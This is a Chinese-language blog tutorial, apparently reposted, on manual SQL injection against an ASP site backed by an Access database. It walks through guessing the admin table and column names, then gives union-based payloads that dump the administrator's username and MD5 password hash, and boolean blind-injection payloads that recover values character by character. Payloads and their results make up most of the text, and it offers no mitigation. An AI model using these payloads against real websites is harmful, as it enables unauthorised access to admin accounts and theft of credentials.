我喜欢SEO、网络营销及建站,希望与志同道合的您
建立合作或相互学习关系 QQ:10343829

Access手工注入测试方法

测试地址:http://www.xxx.com/about.asp?id=40

扫到台地址:http://www.xxx.com/member_login.asp

根据地址格式猜测后台管理表为member,进入后台登陆页面查看源代码,查看登陆表单源码:

<input name=”usernametype=”textclass=”zzid=”usernamesize=”30” />

<td><input name=”pwdtype=”passwordclass=”zzid=”pwdsize=”30“/></td>

猜测member管理员字段为username,密码字段为pwd

验证上面猜想:

验证表:  and exists(select * from member),返回正确,猜想正确

验证管理员字段:and exists(select username from member),返回正确,猜想正确

验证密码字段:   and exists(select pwd from member),返回错误,猜想失败。

分析:到这里密码字段猜想失败,无法继续,使用明小子跑了一下跑出来密码字段是:userpass

方法一:联合注入

第一步: 测试单引号id=40′ 测试,报错,and 1=1 返回正确,and 1=2错误,证明漏洞存在。

第二步: 确定当前连接页面数据库的字段数:order by ,当为15时正确,16错误,证明15个字段。

第三步: 联合注入union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 测试显位为8

第四步: union select 1,2,3,4,5,6,7,username,9,10,11,12,13,14,15 from member 来回显用户名的值

 不幸的是: 回显失败,造成失败的原因可能是username有多个用户,这里只能显示一个,解决办法也很简         单,通常表中都有一个id,回显一下id,看id是多少,然后用where 来限制。

(1.)回显id: union select 1,2,3,4,5,6,7,id,9,10,11,12,13,14,15 from member 得到id=100

(2.)然后:  union select 1,2,3,4,5,6,7,username,9,10,11,12,13,14,15 from member where id=100

这时成功回显用户名是:useradmin.

(3.)回显密码: union select 1,2,3,4,5,6,7,userpass,9,10,11,12,13,14,15 from member where id=100

成功得到md5, 至此结束。

方法二:盲注order (order by 不能用的地方用盲注)

1. 猜字段中数据长度:and (select top 1 length(username) from member)>=5 返还正常

and (select top 1 length(username) from member)<6    返还错误

说明username中数据长度为5

2.  逐字猜测:  and (select top 1 asc(mid(username,1,1))from member)=97

and (select top 1 asc(mid(username,1,1))from member)=98

and (select top 1 asc(mid(username,1,1))from member)=99

… … … …

猜测正确则返回正确界面,猜测错误,则返回错误界面,每次正确的时候记下当时asc值,一直正确5次后asc值拼凑在一起,然后转换成普通数值,就是当前用户名,猜密码就是将username换成userpass就可以了。

 

 

转载请著名来源:天天小站 » Access手工注入测试方法

分享到:更多 ()